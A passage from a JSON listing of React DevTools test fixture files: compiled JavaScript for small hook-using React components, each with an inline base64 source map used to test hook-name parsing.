gaGFuZGxlQ2hhbmdlID0gdXNlQ2FsbGJhY2soXG4gICAgZXZlbnQgPT4ge1xuICAgICAgc2V0TmV3SXRlbVRleHQoZXZlbnQuY3VycmVudFRhcmdldC52YWx1ZSk7XG4gICAgfSxcbiAgICBbc2V0TmV3SXRlbVRleHRdLFxuICApO1xuXG4gIGNvbnN0IHJlbW92ZUl0ZW0gPSB1c2VDYWxsYmFjayhcbiAgICBpdGVtVG9SZW1vdmUgPT4gc2V0SXRlbXMoaXRlbXMuZmlsdGVyKGl0ZW0gPT4gaXRlbSAhPT0gaXRlbVRvUmVtb3ZlKSksXG4gICAgW2l0ZW1zXSxcbiAgKTtcblxuICBjb25zdCB0b2dnbGVJdGVtID0gdXNlQ2FsbGJhY2soXG4gICAgaXRlbVRvVG9nZ2xlID0+IHtcbiAgICAgIC8vIERvbnQgdXNlIGluZGV4T2YoKVxuICAgICAgLy8gYmVjYXVzZSBlZGl0aW5nIHByb3BzIGluIERldlRvb2xzIGNyZWF0ZXMgYSBuZXcgT2JqZWN0LlxuICAgICAgY29uc3QgaW5kZXggPSBpdGVtcy5maW5kSW5kZXgoaXRlbSA9PiBpdGVtLmlkID09PSBpdGVtVG9Ub2dnbGUuaWQpO1xuXG4gICAgICBzZXRJdGVtcyhcbiAgICAgICAgaXRlbXNcbiAgICAgICAgICAuc2xpY2UoMCwgaW5kZXgpXG4gICAgICAgICAgLmNvbmNhdCh7XG4gICAgICAgICAgICAuLi5pdGVtVG9Ub2dnbGUsXG4gICAgICAgICAgICBpc0NvbXBsZXRlOiAhaXRlbVRvVG9nZ2xlLmlzQ29tcGxldGUsXG4gICAgICAgICAgfSlcbiAgICAgICAgICAuY29uY2F0KGl0ZW1zLnNsaWNlKGluZGV4ICsgMSkpLFxuICAgICAgKTtcbiAgICB9LFxuICAgIFtpdGVtc10sXG4gICk7XG5cbiAgcmV0dXJuIChcbiAgICA8RnJhZ21lbnQ+XG4gICAgICA8aDE+TGlzdDwvaDE+XG4gICAgICA8aW5wdXRcbiAgICAgICAgdHlwZT1cInRleHRcIlxuICAgICAgICBwbGFjZWhvbGRlcj1cIk5ldyBsaXN0IGl0ZW0uLi5cIlxuICAgICAgICB2YWx1ZT17bmV3SXRlbVRleHR9XG4gICAgICAgIG9uQ2hhbmdlPXtoYW5kbGVDaGFuZ2V9XG4gICAgICAgIG9uS2V5UHJlc3M9e2hhbmRsZUtleVByZXNzfVxuICAgICAgLz5cbiAgICAgIDxidXR0b24gZGlzYWJsZWQ9e25ld0l0ZW1UZXh0ID09PSAnJ30gb25DbGljaz17aGFuZGxlQ2xpY2t9PlxuICAgICAgICA8c3BhbiByb2xlPVwiaW1nXCIgYXJpYS1sYWJlbD1cIkFkZCBpdGVtXCI+XG4gICAgICAgICAgQWRkXG4gICAgICAgIDwvc3Bhbj5cbiAgICAgIDwvYnV0dG9uPlxuICAgICAgPHVsPlxuICAgICAgICB7aXRlbXMubWFwKGl0ZW0gPT4gKFxuICAgICAgICAgIDxMaXN0SXRlbVxuICAgICAgICAgICAga2V5PXtpdGVtLmlkfVxuICAgICAgICAgICAgaXRlbT17aXRlbX1cbiAgICAgICAgICAgIHJlbW92ZUl0ZW09e3JlbW92ZUl0ZW19XG4gICAgICAgICAgICB0b2dnbGVJdGVtPXt0b2dnbGVJdGVtfVxuICAgICAgICAgIC8+XG4gICAgICAgICkpfVxuICAgICAgPC91bD5cbiAgICA8L0ZyYWdtZW50PlxuICApO1xufVxuIl0sInhfcmVhY3Rfc291cmNlcyI6W1t7Im5hbWVzIjpbIjxuby1ob29rPiIsImhhbmRsZURlbGV0ZSIsImhhbmRsZVRvZ2dsZSIsIm5ld0l0ZW1UZXh0IiwiaXRlbXMiLCJ1aWQiLCJoYW5kbGVDbGljayIsImhhbmRsZUtleVByZXNzIiwiaGFuZGxlQ2hhbmdlIiwicmVtb3ZlSXRlbSIsInRvZ2dsZUl0ZW0iXSwibWFwcGluZ3MiOiJDQUFEO2N1QkNBO2dCQ0RBO2tCREVBO29CQ0ZBO3NDZ0JHQSxBWUhBO3VDeEJJQTsyQ3hCSkE7NENvQktBLEFXTEE7OENiTUE7MkRTTkE7NkROT0E7b0V0QlBBO3NFb0JRQTsyRXBCUkE7NkVrQlNBO2dGbEJUQTtrRmtCVUE7bUdsQlZBIn1dXX0="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/index-map/ComponentUsingHooksIndirectly.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const countState = (0, _react.useState)(0);\n  const count = countState[0];\n  const setCount = countState[1];\n  const darkMode = useIsDarkMode();\n  const [isDarkMode] = darkMode;\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 29,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 30,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const darkModeState = (0, _react.useState)(false);\n  const [isDarkMode] = darkModeState;\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return [isDarkMode, () => {}];\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5LmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50U3RhdGUiLCJjb3VudCIsInNldENvdW50IiwiZGFya01vZGUiLCJ1c2VJc0RhcmtNb2RlIiwiaXNEYXJrTW9kZSIsImhhbmRsZUNsaWNrIiwiZGFya01vZGVTdGF0ZSIsInVzZUVmZmVjdENyZWF0ZSJdLCJtYXBwaW5ncyI6Ijs7Ozs7OztBQVNBOzs7Ozs7OztBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTUMsVUFBVSxHQUFHLHFCQUFTLENBQVQsQ0FBbkI7QUFDQSxRQUFNQyxLQUFLLEdBQUdELFVBQVUsQ0FBQyxDQUFELENBQXhCO0FBQ0EsUUFBTUUsUUFBUSxHQUFHRixVQUFVLENBQUMsQ0FBRCxDQUEzQjtBQUVBLFFBQU1HLFFBQVEsR0FBR0MsYUFBYSxFQUE5QjtBQUNBLFFBQU0sQ0FBQ0MsVUFBRCxJQUFlRixRQUFyQjtBQUVBLHdCQUFVLE1BQU0sQ0FDZDtBQUNELEdBRkQsRUFFRyxFQUZIOztBQUlBLFFBQU1HLFdBQVcsR0FBRyxNQUFNSixRQUFRLENBQUNELEtBQUssR0FBRyxDQUFULENBQWxDOztBQUVBLHNCQUNFLHlFQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLG9CQUFpQkksVUFBakIsQ0FERixlQUVFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGdCQUFhSixLQUFiLENBRkYsZUFHRTtBQUFRLElBQUEsT0FBTyxFQUFFSyxXQUFqQjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxvQkFIRixDQURGO0FBT0Q7O0FBRUQsU0FBU0YsYUFBVCxHQUF5QjtBQUN2QixRQUFNRyxhQUFhLEdBQUcscUJBQVMsS0FBVCxDQUF0QjtBQUNBLFFBQU0sQ0FBQ0YsVUFBRCxJQUFlRSxhQUFyQjtBQUVBLHdCQUFVLFNBQVNDLGVBQVQsR0FBMkIsQ0FDbkM7QUFDRCxHQUZELEVBRUcsRUFGSDtBQUlBLFNBQU8sQ0FBQ0gsVUFBRCxFQUFhLE1BQU0sQ0FBRSxDQUFyQixDQUFQO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IFJlYWN0LCB7dXNlRWZmZWN0LCB1c2VTdGF0ZX0gZnJvbSAncmVhY3QnO1xuXG5leHBvcnQgZnVuY3Rpb24gQ29tcG9uZW50KCkge1xuICBjb25zdCBjb3VudFN0YXRlID0gdXNlU3RhdGUoMCk7XG4gIGNvbnN0IGNvdW50ID0gY291bnRTdGF0ZVswXTtcbiAgY29uc3Qgc2V0Q291bnQgPSBjb3VudFN0YXRlWzFdO1xuXG4gIGNvbnN0IGRhcmtNb2RlID0gdXNlSXNEYXJrTW9kZSgpO1xuICBjb25zdCBbaXNEYXJrTW9kZV0gPSBkYXJrTW9kZTtcblxuICB1c2VFZmZlY3QoKCkgPT4ge1xuICAgIC8vIC4uLlxuICB9LCBbXSk7XG5cbiAgY29uc3QgaGFuZGxlQ2xpY2sgPSAoKSA9PiBzZXRDb3VudChjb3VudCArIDEpO1xuXG4gIHJldHVybiAoXG4gICAgPD5cbiAgICAgIDxkaXY+RGFyayBtb2RlPyB7aXNEYXJrTW9kZX08L2Rpdj5cbiAgICAgIDxkaXY+Q291bnQ6IHtjb3VudH08L2Rpdj5cbiAgICAgIDxidXR0b24gb25DbGljaz17aGFuZGxlQ2xpY2t9PlVwZGF0ZSBjb3VudDwvYnV0dG9uPlxuICAgIDwvPlxuICApO1xufVxuXG5mdW5jdGlvbiB1c2VJc0RhcmtNb2RlKCkge1xuICBjb25zdCBkYXJrTW9kZVN0YXRlID0gdXNlU3RhdGUoZmFsc2UpO1xuICBjb25zdCBbaXNEYXJrTW9kZV0gPSBkYXJrTW9kZVN0YXRlO1xuXG4gIHVzZUVmZmVjdChmdW5jdGlvbiB1c2VFZmZlY3RDcmVhdGUoKSB7XG4gICAgLy8gSGVyZSBpcyB3aGVyZSB3ZSBtYXkgbGlzdGVuIHRvIGEgXCJ0aGVtZVwiIGV2ZW50Li4uXG4gIH0sIFtdKTtcblxuICByZXR1cm4gW2lzRGFya01vZGUsICgpID0+IHt9XTtcbn1cbiJdLCJ4X3JlYWN0X3NvdXJjZXMiOltbeyJuYW1lcyI6WyI8bm8taG9vaz4iLCJjb3VudCIsImRhcmtNb2RlIiwiaXNEYXJrTW9kZSJdLCJtYXBwaW5ncyI6IkNBQUQ7YXFCQ0EsQVdEQTtpQmJFQSxBZUZBO29DVkdBLEFlSEEifV1dfX1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/index-map/ComponentWithCustomHook.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  const isDarkMode = useIsDarkMode();\n  const {\n    foo\n  } = useFoo();\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 27,\n      columnNumber: 7\n    }\n  }, \"Foo: \", foo), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const [isDarkMode] = (0, _react.useState)(false);\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return isDarkMode;\n}\n\nfunction useFoo() {\n  (0, _react.useDebugValue)('foo');\n  return {\n    foo: true\n  };\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhDdXN0b21Ib29rLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50Iiwic2V0Q291bnQiLCJpc0RhcmtNb2RlIiwidXNlSXNEYXJrTW9kZSIsImZvbyIsInVzZUZvbyIsImhhbmRsZUNsaWNrIiwidXNlRWZmZWN0Q3JlYXRlIl0sIm1hcHBpbmdzIjoiOzs7Ozs7O0FBU0E7Ozs7Ozs7O0FBRU8sU0FBU0EsU0FBVCxHQUFxQjtBQUMxQixRQUFNLENBQUNDLEtBQUQsRUFBUUMsUUFBUixJQUFvQixxQkFBUyxDQUFULENBQTFCO0FBQ0EsUUFBTUMsVUFBVSxHQUFHQyxhQUFhLEVBQWhDO0FBQ0EsUUFBTTtBQUFDQyxJQUFBQTtBQUFELE1BQVFDLE1BQU0sRUFBcEI7QUFFQSx3QkFBVSxNQUFNLENBQ2Q7QUFDRCxHQUZELEVBRUcsRUFGSDs7QUFJQSxRQUFNQyxXQUFXLEdBQUcsTUFBTUwsUUFBUSxDQUFDRCxLQUFLLEdBQUcsQ0FBVCxDQUFsQzs7QUFFQSxzQkFDRSx5RUFDRTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxvQkFBaUJFLFVBQWpCLENBREYsZUFFRTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxnQkFBYUYsS0FBYixDQUZGLGVBR0U7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsY0FBV0ksR0FBWCxDQUhGLGVBSUU7QUFBUSxJQUFBLE9BQU8sRUFBRUUsV0FBakI7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsb0JBSkYsQ0FERjtBQVFEOztBQUVELFNBQVNILGFBQVQsR0FBeUI7QUFDdkIsUUFBTSxDQUFDRCxVQUFELElBQWUscUJBQVMsS0FBVCxDQUFyQjtBQUVBLHdCQUFVLFNBQVNLLGVBQVQsR0FBMkIsQ0FDbkM7QUFDRCxHQUZELEVBRUcsRUFGSDtBQUlBLFNBQU9MLFVBQVA7QUFDRDs7QUFFRCxTQUFTRyxNQUFULEdBQWtCO0FBQ2hCLDRCQUFjLEtBQWQ7QUFDQSxTQUFPO0FBQUNELElBQUFBLEdBQUcsRUFBRTtBQUFOLEdBQVA7QUFDRCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogQ29weXJpZ2h0IChjKSBGYWNlYm9vaywgSW5jLiBhbmQgaXRzIGFmZmlsaWF0ZXMuXG4gKlxuICogVGhpcyBzb3VyY2UgY29kZSBpcyBsaWNlbnNlZCB1bmRlciB0aGUgTUlUIGxpY2Vuc2UgZm91bmQgaW4gdGhlXG4gKiBMSUNFTlNFIGZpbGUgaW4gdGhlIHJvb3QgZGlyZWN0b3J5IG9mIHRoaXMgc291cmNlIHRyZWUuXG4gKlxuICogQGZsb3dcbiAqL1xuXG5pbXBvcnQgUmVhY3QsIHt1c2VEZWJ1Z1ZhbHVlLCB1c2VFZmZlY3QsIHVzZVN0YXRlfSBmcm9tICdyZWFjdCc7XG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IFtjb3VudCwgc2V0Q291bnRdID0gdXNlU3RhdGUoMCk7XG4gIGNvbnN0IGlzRGFya01vZGUgPSB1c2VJc0RhcmtNb2RlKCk7XG4gIGNvbnN0IHtmb299ID0gdXNlRm9vKCk7XG5cbiAgdXNlRWZmZWN0KCgpID0+IHtcbiAgICAvLyAuLi5cbiAgfSwgW10pO1xuXG4gIGNvbnN0IGhhbmRsZUNsaWNrID0gKCkgPT4gc2V0Q291bnQoY291bnQgKyAxKTtcblxuICByZXR1cm4gKFxuICAgIDw+XG4gICAgICA8ZGl2PkRhcmsgbW9kZT8ge2lzRGFya01vZGV9PC9kaXY+XG4gICAgICA8ZGl2PkNvdW50OiB7Y291bnR9PC9kaXY+XG4gICAgICA8ZGl2PkZvbzoge2Zvb308L2Rpdj5cbiAgICAgIDxidXR0b24gb25DbGljaz17aGFuZGxlQ2xpY2t9PlVwZGF0ZSBjb3VudDwvYnV0dG9uPlxuICAgIDwvPlxuICApO1xufVxuXG5mdW5jdGlvbiB1c2VJc0RhcmtNb2RlKCkge1xuICBjb25zdCBbaXNEYXJrTW9kZV0gPSB1c2VTdGF0ZShmYWxzZSk7XG5cbiAgdXNlRWZmZWN0KGZ1bmN0aW9uIHVzZUVmZmVjdENyZWF0ZSgpIHtcbiAgICAvLyBIZXJlIGlzIHdoZXJlIHdlIG1heSBsaXN0ZW4gdG8gYSBcInRoZW1lXCIgZXZlbnQuLi5cbiAgfSwgW10pO1xuXG4gIHJldHVybiBpc0RhcmtNb2RlO1xufVxuXG5mdW5jdGlvbiB1c2VGb28oKSB7XG4gIHVzZURlYnVnVmFsdWUoJ2ZvbycpO1xuICByZXR1cm4ge2ZvbzogdHJ1ZX07XG59XG4iXSwieF9yZWFjdF9zb3VyY2VzIjpbW3sibmFtZXMiOlsiPG5vLWhvb2s+IiwiY291bnQiLCJpc0RhcmtNb2RlIl0sIm1hcHBpbmdzIjoiQ0FBRDthNEJDQSxBV0RBO2NsQkVBLEFlRkE7a0NiRUEifV1dfX1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/index-map/ComponentWithExternalCustomHooks.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireDefault(require(\"react\"));\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nvar _jsxFileName = \"\";\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction Component() {\n  const theme = (0, _useTheme.default)();\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 10\n    }\n  }, \"theme: \", theme);\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsInRoZW1lIl0sIm1hcHBpbmdzIjoiOzs7Ozs7O0FBU0E7O0FBQ0E7Ozs7OztBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTUMsS0FBSyxHQUFHLHdCQUFkO0FBRUEsc0JBQU87QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsZ0JBQWFBLEtBQWIsQ0FBUDtBQUNEIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5cbmltcG9ydCBSZWFjdCBmcm9tICdyZWFjdCc7XG5pbXBvcnQgdXNlVGhlbWUgZnJvbSAnLi91c2VUaGVtZSc7XG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IHRoZW1lID0gdXNlVGhlbWUoKTtcblxuICByZXR1cm4gPGRpdj50aGVtZToge3RoZW1lfTwvZGl2Pjtcbn1cbiJdLCJ4X3JlYWN0X3NvdXJjZXMiOltbeyJuYW1lcyI6WyI8bm8taG9vaz4iLCJ0aGVtZSJdLCJtYXBwaW5ncyI6IkNBQUQ7Y2dCQ0EsQVVEQSJ9XV19fV19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/index-map/ComponentWithMultipleHooksPerLine.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst A = /*#__PURE__*/(0, _react.createContext)(1);\nconst B = /*#__PURE__*/(0, _react.createContext)(2);\n\nfunction Component() {\n  const a = (0, _react.useContext)(A);\n  const b = (0, _react.useContext)(B); // prettier-ignore\n\n  const c = (0, _react.useContext)(A),\n        d = (0, _react.useContext)(B); // eslint-disable-line one-var\n\n  return a + b + c + d;\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhNdWx0aXBsZUhvb2tzUGVyTGluZS5qcyJdLCJuYW1lcyI6WyJBIiwiQiIsIkNvbXBvbmVudCIsImEiLCJiIiwiYyIsImQiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7QUFTQTs7QUFUQTs7Ozs7Ozs7QUFXQSxNQUFNQSxDQUFDLGdCQUFHLDBCQUFjLENBQWQsQ0FBVjtBQUNBLE1BQU1DLENBQUMsZ0JBQUcsMEJBQWMsQ0FBZCxDQUFWOztBQUVPLFNBQVNDLFNBQVQsR0FBcUI7QUFDMUIsUUFBTUMsQ0FBQyxHQUFHLHVCQUFXSCxDQUFYLENBQVY7QUFDQSxRQUFNSSxDQUFDLEdBQUcsdUJBQVdILENBQVgsQ0FBVixDQUYwQixDQUkxQjs7QUFDQSxRQUFNSSxDQUFDLEdBQUcsdUJBQVdMLENBQVgsQ0FBVjtBQUFBLFFBQXlCTSxDQUFDLEdBQUcsdUJBQVdMLENBQVgsQ0FBN0IsQ0FMMEIsQ0FLa0I7O0FBRTVDLFNBQU9FLENBQUMsR0FBR0MsQ0FBSixHQUFRQyxDQUFSLEdBQVlDLENBQW5CO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IHtjcmVhdGVDb250ZXh0LCB1c2VDb250ZXh0fSBmcm9tICdyZWFjdCc7XG5cbmNvbnN0IEEgPSBjcmVhdGVDb250ZXh0KDEpO1xuY29uc3QgQiA9IGNyZWF0ZUNvbnRleHQoMik7XG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IGEgPSB1c2VDb250ZXh0KEEpO1xuICBjb25zdCBiID0gdXNlQ29udGV4dChCKTtcblxuICAvLyBwcmV0dGllci1pZ25vcmVcbiAgY29uc3QgYyA9IHVzZUNvbnRleHQoQSksIGQgPSB1c2VDb250ZXh0KEIpOyAvLyBlc2xpbnQtZGlzYWJsZS1saW5lIG9uZS12YXJcblxuICByZXR1cm4gYSArIGIgKyBjICsgZDtcbn1cbiJdLCJ4X3JlYWN0X3NvdXJjZXMiOltbeyJuYW1lcyI6WyI8bm8taG9vaz4iLCJhIiwiYiIsImMiLCJkIl0sIm1hcHBpbmdzIjoiQ0FBRDtnQllDQSxBYURBO2lCYkVBLEFhRkE7b0JiR0EsQWFIQSxBTUlBLEFhSkEifV1dfX1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/index-map/ComponentWithNestedHooks.js",
    "content": "\"use strict\";\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst {\n  useMemo,\n  useState\n} = require('react');\n\nfunction Component(props) {\n  const InnerComponent = useMemo(() => () => {\n    const [state] = useState(0);\n    return state;\n  });\n  props.callback(InnerComponent);\n  return null;\n}\n\nmodule.exports = {\n  Component\n};\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhOZXN0ZWRIb29rcy5qcyJdLCJuYW1lcyI6WyJ1c2VNZW1vIiwidXNlU3RhdGUiLCJyZXF1aXJlIiwiQ29tcG9uZW50IiwicHJvcHMiLCJJbm5lckNvbXBvbmVudCIsInN0YXRlIiwiY2FsbGJhY2siLCJtb2R1bGUiLCJleHBvcnRzIl0sIm1hcHBpbmdzIjoiOztBQUFBOzs7Ozs7OztBQVFBLE1BQU07QUFBQ0EsRUFBQUEsT0FBRDtBQUFVQyxFQUFBQTtBQUFWLElBQXNCQyxPQUFPLENBQUMsT0FBRCxDQUFuQzs7QUFFQSxTQUFTQyxTQUFULENBQW1CQyxLQUFuQixFQUEwQjtBQUN4QixRQUFNQyxjQUFjLEdBQUdMLE9BQU8sQ0FBQyxNQUFNLE1BQU07QUFDekMsVUFBTSxDQUFDTSxLQUFELElBQVVMLFFBQVEsQ0FBQyxDQUFELENBQXhCO0FBRUEsV0FBT0ssS0FBUDtBQUNELEdBSjZCLENBQTlCO0FBS0FGLEVBQUFBLEtBQUssQ0FBQ0csUUFBTixDQUFlRixjQUFmO0FBRUEsU0FBTyxJQUFQO0FBQ0Q7O0FBRURHLE1BQU0sQ0FBQ0MsT0FBUCxHQUFpQjtBQUFDTixFQUFBQTtBQUFELENBQWpCIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFu